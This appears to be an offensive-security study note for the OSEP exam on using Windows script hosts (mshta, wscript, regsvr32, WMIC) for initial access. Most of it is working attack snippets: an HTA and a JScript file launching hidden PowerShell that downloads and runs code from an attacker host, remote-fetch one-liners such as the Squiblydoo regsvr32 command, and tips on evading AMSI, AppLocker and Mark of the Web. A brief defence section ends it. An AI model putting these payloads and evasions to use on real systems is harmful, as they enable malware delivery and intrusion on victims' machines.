JScript, HTA, and WSH initial access
TL;DR: Windows ships three legacy script hosts —
mshta.exe(HTA),wscript.exe/cscript.exe(WSH for .js/.vbs/.wsf), and a few weirder ones (scriptrunner.exe,installutil.exevia .NET). They run with the user’s full privileges and are surprisingly forgiving of evasions. On OSEP you’ll lean on them for low-friction first-stage execution. Companion to client-side-attacks-primer and office-vba-macros-initial-access.
HTA — HTML Application
A .hta file is HTML + script (JScript or VBScript) executed by mshta.exe outside the browser sandbox. Full local-user execution, no admin needed.
Minimal HTA
1
2
3
4
5
6
7
8
9
10
11
<html>
<head><title>Update</title></head>
<body>
<script language="VBScript">
Set sh = CreateObject("WScript.Shell")
sh.Run "powershell -nop -w hidden -ep bypass -enc " & _
"JABjAD0ATgBlAHcA....", 0, False
window.close()
</script>
</body>
</html>
Delivery patterns
1
2
3
4
5
6
7
8
# Direct fetch + execute (no file on disk):
mshta http://10.10.14.5/x.hta
# Local double-click:
invoice.hta in user's Downloads
# Inside a phishing landing page (browser will prompt to open):
<a href="http://attacker/x.hta">View document</a>
Why it survives
mshta.exe is a signed Microsoft binary; AppLocker default rules often allow it. Detection is via behaviour — mshta.exe spawning powershell.exe is a classic alert. The OSEP-grade play hands off to a non-PowerShell loader from inside the HTA.
JScript via wscript / cscript
A plain .js file double-clicked opens WScript.exe. Use a delivery vector that gets the user to extract a zip (which often strips MOTW) and double-click.
1
2
3
4
5
6
7
// run.js
var sh = new ActiveXObject("WScript.Shell");
sh.Run(
"powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/p.ps1')",
0,
false
);
WSF (Windows Script File)
A WSF lets you mix JScript and VBScript and reference COM objects. Useful when one half needs WMI calls and the other half needs string mangling.
1
2
3
4
5
6
7
8
<package>
<job id="main">
<script language="JScript">
var sh = new ActiveXObject("Shell.Application");
sh.ShellExecute("cmd.exe", "/c whoami > %TEMP%\\who.txt", "", "open", 0);
</script>
</job>
</package>
DotNetToJScript pattern
DotNetToJScript (James Forshaw / tyranid) converts a .NET assembly into a JScript wrapper that uses Activator.CreateInstance via the .NET-to-COM bridge. The JScript file loads and runs your full .NET assembly with no .exe on disk.
Result: write your loader in C#, ship as .js, execute under wscript.exe. Defenders see a JScript file but the heavy lifting is .NET. This was the original vehicle for many OSEP-era loaders.
XSL / WMIC
1
wmic os get /format:"http://attacker/payload.xsl"
WMIC fetches a remote XSL stylesheet that contains an embedded <script> block; XSLT processor executes the script. Now mostly deprecated (wmic.exe removed from Windows 11) but still relevant on legacy targets.
Squiblydoo — regsvr32 + scrobj.dll
1
regsvr32.exe /s /n /u /i:http://attacker/file.sct scrobj.dll
scrobj.dll is Microsoft’s script-object COM server. regsvr32 /i calls DllRegisterServer, which in this DLL evaluates the <scriptlet> content at the URL. Classic LOLBin: signed Microsoft binary executing arbitrary script from the network.
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<scriptlet>
<registration progid="x" classid="{...}">
<script language="JScript">
new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
Squiblytwo — wmic with XSL (the variant)
Same shape as squiblydoo but uses wmic as the executor.
When to pick which
| Goal | Pick |
|---|---|
| Single-file dropper, smallest VBA-free payload | HTA |
| Mail/zip delivery, double-click execution | JScript .js |
| AppLocker-bypass via signed LOLBin | Squiblydoo (regsvr32) |
| Need a full .NET runtime without a PE on disk | DotNetToJScript |
| Legacy XP/Win7 target | WSF or XLM macros |
AMSI and these
- HTA:
mshta.exedoes not invoke AMSI on its host script (historically). Once you startpowershell.exefrom inside, AMSI re-enters. - JScript via wscript: AMSI hooks
IActiveScriptsince Win10 1903 — your script source is scanned. String split + obfuscate. regsvr32 /ivia scrobj.dll: same scriptlet AMSI hooks apply.
The pattern that wins: minimal script that patches AMSI in its host process before doing anything noisy, then loads the real payload.
Defence
- AppLocker default rules need to be tightened to block
mshta.exe,wscript.exe,cscript.exe,regsvr32.exefrom non-admin paths or via path/publisher rules. - ASR rule “Block process creations originating from PSExec and WMI commands”.
- Mark of the Web propagation — every modern container should keep MOTW.
- EDR: parent-child chain monitoring (e.g.
mshta.exe → powershell.exe).